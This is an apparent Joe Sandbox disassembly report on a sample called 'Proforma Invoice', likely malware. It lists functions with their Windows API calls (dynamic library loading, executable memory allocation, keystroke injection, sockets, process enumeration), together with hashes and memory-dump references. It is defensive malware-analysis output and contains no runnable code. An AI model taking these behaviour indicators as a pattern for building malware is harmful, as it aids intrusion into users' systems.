Opcode Fuzzy Hash: 5235bf1fc32d3ba97bedc50805b52e5fc7cc02bf7b04840ba117378ec6267c4c
Instruction Fuzzy Hash: 85D0C270800326CFC3205F70D808282B2E5AF04342F01CC3DD982D2190E6BCD8F0C654

Function 007190E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00718CF4,?,0072F910), ref: 007190EE
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00719100

Strings

GetModuleHandleExW, xrefs: 007190FA
kernel32.dll, xrefs: 007190E9

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 7866e7b18624b7c6d092c795f8ba7ab71afcc8e068b032c009b760c5c670926b
Instruction ID: 0eb14d2fa6d68090451670a071fe02576268cb298be53645d8aef21f8b1ca8ed
Opcode Fuzzy Hash: 7866e7b18624b7c6d092c795f8ba7ab71afcc8e068b032c009b760c5c670926b
Instruction Fuzzy Hash: CBD0C270510717DFC7208F34D81824272E6AF04341B15C839D481D2190E678C4C1C650

Function 006E1714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 006E1718
__swprintf.LIBCMT ref: 006E1749

Strings

%.3d, xrefs: 006E1723
WIN_XPe, xrefs: 006E1788

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 151a2e11466eaf0df38bd54d7aeb614270faac38851ad8d7eff8862b8a1c1521
Instruction ID: 83b3118adb6c9058a883890c84b222952cc8149c72f0e9eb82092ba7eb0ab571
Opcode Fuzzy Hash: 151a2e11466eaf0df38bd54d7aeb614270faac38851ad8d7eff8862b8a1c1521
Instruction Fuzzy Hash: 99D01271806358EBCF549B929888CFD777DF70A712F101462F50296180E2358B96FA25

Function 006F717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78559966edc19441c1a052b4e247fddf3c4f3f905e390a736aa791316e5b4286
Instruction ID: d42f86a115fe3c53fdc81dafb35d30493fc52ebd1a92bf11645ac2f46a67adb8
Opcode Fuzzy Hash: 78559966edc19441c1a052b4e247fddf3c4f3f905e390a736aa791316e5b4286
Instruction Fuzzy Hash: 61C12B75A0421AEFCB14CFA8C884EAEBBF6FF48714B158598E905DB251D730ED81DB90

Function 0071E02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 0071E0BE
CharLowerBuffW.USER32(?,?), ref: 0071E101

Part of subcall function 0071D7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0071D7C5

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0071E301
_memmove.LIBCMT ref: 0071E314

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 1de11ecae9b43373b1dd321d6b2548cbba5791e46200919329742a31c5201aac
Instruction ID: 9703d90507ac52530a1e8dc9cd31352f5cf7728abc34a75d2bb48bf7dfe80975
Opcode Fuzzy Hash: 1de11ecae9b43373b1dd321d6b2548cbba5791e46200919329742a31c5201aac
Instruction Fuzzy Hash: 44C136716043019FC754DF28C480A6ABBE5FF89714F14896EF8999B391D734E946CF81

Function 00718093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 007180C3
CoUninitialize.OLE32 ref: 007180CE

Part of subcall function 006FD56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 006FD5D4

VariantInit.OLEAUT32(?), ref: 007180D9
VariantClear.OLEAUT32(?), ref: 007183AA

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 4400d805f5b8d26bf36ab488cb596138cb8016942531938f2b70cb2fa0f7bf2c
Instruction ID: 405cb6513b10238f227ba6c9adaf01109a58b6f41435bfa31f53a354f18c0887
Opcode Fuzzy Hash: 4400d805f5b8d26bf36ab488cb596138cb8016942531938f2b70cb2fa0f7bf2c
Instruction Fuzzy Hash: EAA159356047019FCB80EF28C481B6AB7E5BF8A714F14491CF9969B3A1CB38ED45CB96

Function 006F687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 006F688E
SysAllocString.OLEAUT32(00000000), ref: 006F6937
VariantCopy.OLEAUT32 ref: 006F6966
VariantClear.OLEAUT32(?), ref: 006F698D

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: c3d1bcdc85e262577a0a147869e3965336e1125eca80cbde356e0b7c03e76dc5
Instruction ID: 3161eef845af1f6dc2346c302b0802eb9e32bd150c20fc0f2f7d3583fc380177
Opcode Fuzzy Hash: c3d1bcdc85e262577a0a147869e3965336e1125eca80cbde356e0b7c03e76dc5
Instruction Fuzzy Hash: EC51D17470030ADADB64AF65C891A7AB3E7EF45310F20D81FF696DB291DA74DC418B18

Function 007297F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(011AE5B0,?), ref: 00729863
ScreenToClient.USER32(00000002,00000002), ref: 00729896
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00729903

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 4097eb3180eaeaa6bc6ba1b07b66a0bd1d27aa712bc7c4a48dba8d2d847b1877
Instruction ID: 3730c4a58747c5f60857be2e18f446ebad5924d552f9744deec8665dca1e3a68
Opcode Fuzzy Hash: 4097eb3180eaeaa6bc6ba1b07b66a0bd1d27aa712bc7c4a48dba8d2d847b1877
Instruction Fuzzy Hash: A4516F34A00219EFCF10CF58D880AAE7BB5FF95360F18816DF9559B2A0D734AD81CB90

Function 006F9A80 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 006F9AD2
__itow.LIBCMT ref: 006F9B03

Part of subcall function 006F9D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 006F9DBE

SendMessageW.USER32(?,0000110A,00000001,?), ref: 006F9B6C
__itow.LIBCMT ref: 006F9BC3

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 0023ce8850d0e8c3e9321674e0ddd45c5fd4838ecfc37a024e55e2e034ff611e
Instruction ID: ab08fde0a04c3bab748623871c6be113b99c70ef78dc6daac95f04c21dddb4d8
Opcode Fuzzy Hash: 0023ce8850d0e8c3e9321674e0ddd45c5fd4838ecfc37a024e55e2e034ff611e
Instruction Fuzzy Hash: CF418E70A0020DABDF25EF54D845BFE7BBAEF45720F000069FA05A7291DB709E49CBA5

Function 007169AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 007169D1
WSAGetLastError.WSOCK32(00000000), ref: 007169E1

Part of subcall function 006A9837: __itow.LIBCMT ref: 006A9862
Part of subcall function 006A9837: __swprintf.LIBCMT ref: 006A98AC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00716A45
WSAGetLastError.WSOCK32(00000000), ref: 00716A51

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 2f06f37b0a593e0a22c2955f6e9255dbec078909357f72866af9d70c0f1fec3c
Instruction ID: bae3dcdeb06ae38e5c9cb93d1498a98c89d94c7c6477dfc75d0b2fdf483aea17
Opcode Fuzzy Hash: 2f06f37b0a593e0a22c2955f6e9255dbec078909357f72866af9d70c0f1fec3c
Instruction Fuzzy Hash: 6D41B2746002006FEBA0BF24CC86F7A77A59F45B10F14C52CFA19AB2C2DA749D018B65

Function 0071641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,0072F910), ref: 007164A7
_strlen.LIBCMT ref: 007164D9

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 202bff51ce3c65c12b1636b4421bfe420573188d15b59bf4f0659e926a524be4
Instruction ID: e347d5599e7e88e4298a378a0ea992b5dfb6fa6420f7ce8e4a53f04b5bda8a93
Opcode Fuzzy Hash: 202bff51ce3c65c12b1636b4421bfe420573188d15b59bf4f0659e926a524be4
Instruction Fuzzy Hash: AA41A271500104ABCB54FBA8DC85FFEB7BAAF05310F108169F91A9B2D2DB34AE50CB64

Function 0070B7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0070B89E
GetLastError.KERNEL32(?,00000000), ref: 0070B8C4
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0070B8E9
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0070B915

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: c05f6008b8719befe7074eb30c12a0e6f3dc6aa926c2ff937ded696a4bec0dc6
Instruction ID: 17668bd554254200e2db34b1c934b199ae171209b022be01e02c9bf337a6321f
Opcode Fuzzy Hash: c05f6008b8719befe7074eb30c12a0e6f3dc6aa926c2ff937ded696a4bec0dc6
Instruction Fuzzy Hash: A4411B35600510DFCB50EF25C444A5ABBE2AF4A710F15C498ED4A9B3A2CB38FD01CFA5

Function 00728851 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 007288DE

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 049966a24b09c926a8b091b37ac5f4e99fda845ef364bd78a4faee01225caf31
Instruction ID: fcd9ad243933931699fa210f9e757aa2d9b994a064886c541016759fa962854c
Opcode Fuzzy Hash: 049966a24b09c926a8b091b37ac5f4e99fda845ef364bd78a4faee01225caf31
Instruction Fuzzy Hash: A2312634602128EFEBA09A18EC45FB837B1EB09310F544112FA91E61A1CE7EF9C09B47

Function 0072AB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0072AB60
GetWindowRect.USER32(?,?), ref: 0072ABD6
PtInRect.USER32(?,?,0072C014), ref: 0072ABE6
MessageBeep.USER32(00000000), ref: 0072AC57

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 2fee6fc46c09c2ebc4b761cf955a030db01fbe833a829d1a3abb2accf049fd5d
Instruction ID: ed676bb37d17c5b258a43f8a48c1500fff8e2e21b3dca11bdba3e114233520eb
Opcode Fuzzy Hash: 2fee6fc46c09c2ebc4b761cf955a030db01fbe833a829d1a3abb2accf049fd5d
Instruction Fuzzy Hash: B241A430600229EFCB21DF58E884B69B7F5FF49310F1480A9E555DB264D738E981DFA2

Function 00700AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00700B27
SetKeyboardState.USER32(00000080,?,00000001), ref: 00700B43
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00700BA9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00700BFB

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 821d94e3f3a8b86387aa2c79ba5602ab87cba4d6e1f5215881e8e30e32a61b6c
Instruction ID: d4907135882abfe21fa62a11480033cba9880513b21aa487743a50782b1f5c35
Opcode Fuzzy Hash: 821d94e3f3a8b86387aa2c79ba5602ab87cba4d6e1f5215881e8e30e32a61b6c
Instruction Fuzzy Hash: FF313AB0D40218EEFF318B298C09BFABBE5AB45334F08436AE591521D1C3BD895197E5

Function 00700C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00700C66
SetKeyboardState.USER32(00000080,?,00008000), ref: 00700C82
PostMessageW.USER32(00000000,00000101,00000000), ref: 00700CE1
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00700D33

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 41abf3d91fc47c168e9bb2c09c9b0a3d20ef7cab841b695f5f2c4a789a7b4c58
Instruction ID: de1c0d74b57904c64e663da2dda52d7400ec0d0ce7c99b9111667097e1a4ca64
Opcode Fuzzy Hash: 41abf3d91fc47c168e9bb2c09c9b0a3d20ef7cab841b695f5f2c4a789a7b4c58
Instruction Fuzzy Hash: CB310330A40258EEFF348B658818BFFBBE6AB45330F04832AE485921D1C37D995597F5

Function 006D61C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 006D61FB
__isleadbyte_l.LIBCMT ref: 006D6229
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 006D6257
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 006D628D

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 9ce942beb0383c581088fe5bf3aa2c1ee7e013c3a2d70529414aecaac06ba465
Instruction ID: 2a3cb32221be2c7799fcdb588913de7bd9a870db87f3a9af1462bcfb2663d1ff
Opcode Fuzzy Hash: 9ce942beb0383c581088fe5bf3aa2c1ee7e013c3a2d70529414aecaac06ba465
Instruction Fuzzy Hash: E831B031A04256AFDF218F69CC45BBA7BBAFF41310F15402AF864973A1D731DA51DB90

Function 00724EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00724F02

Part of subcall function 00703641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0070365B
Part of subcall function 00703641: GetCurrentThreadId.KERNEL32 ref: 00703662
Part of subcall function 00703641: AttachThreadInput.USER32(00000000,?,00705005), ref: 00703669

GetCaretPos.USER32(?), ref: 00724F13
ClientToScreen.USER32(00000000,?), ref: 00724F4E
GetForegroundWindow.USER32 ref: 00724F54

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: b02a4365ae3b0160802642541d525cf5bebe2e44cf149f7201ecbda67349bc9c
Instruction ID: 64a653e0380e66b4a5c5b52d0eb972dd661ea206c5cd40c8c4e122641371f90d
Opcode Fuzzy Hash: b02a4365ae3b0160802642541d525cf5bebe2e44cf149f7201ecbda67349bc9c
Instruction Fuzzy Hash: 0E313C71D00108AFDB10EFA5C9859EFB7FDEF89300F10456AE815E7241EA79AE458FA4

Function 00703C55 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00703C7A
Process32FirstW.KERNEL32(00000000,?), ref: 00703C88
Process32NextW.KERNEL32(00000000,?), ref: 00703CA8
CloseHandle.KERNEL32(00000000), ref: 00703D52

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: c983cd8fb4f2255075f2f320c591e99e6a6402493b6613475076117d41deb4d5
Instruction ID: 420ea35c06d6e8eb7a3e314c269f958d8bc0bca060d53a0ee48f689473d4c3cc
Opcode Fuzzy Hash: c983cd8fb4f2255075f2f320c591e99e6a6402493b6613475076117d41deb4d5
Instruction Fuzzy Hash: B731BF71108345DFD310EF10C881AAFBBE9AF96314F50092DF582861A1EB759E49CB92

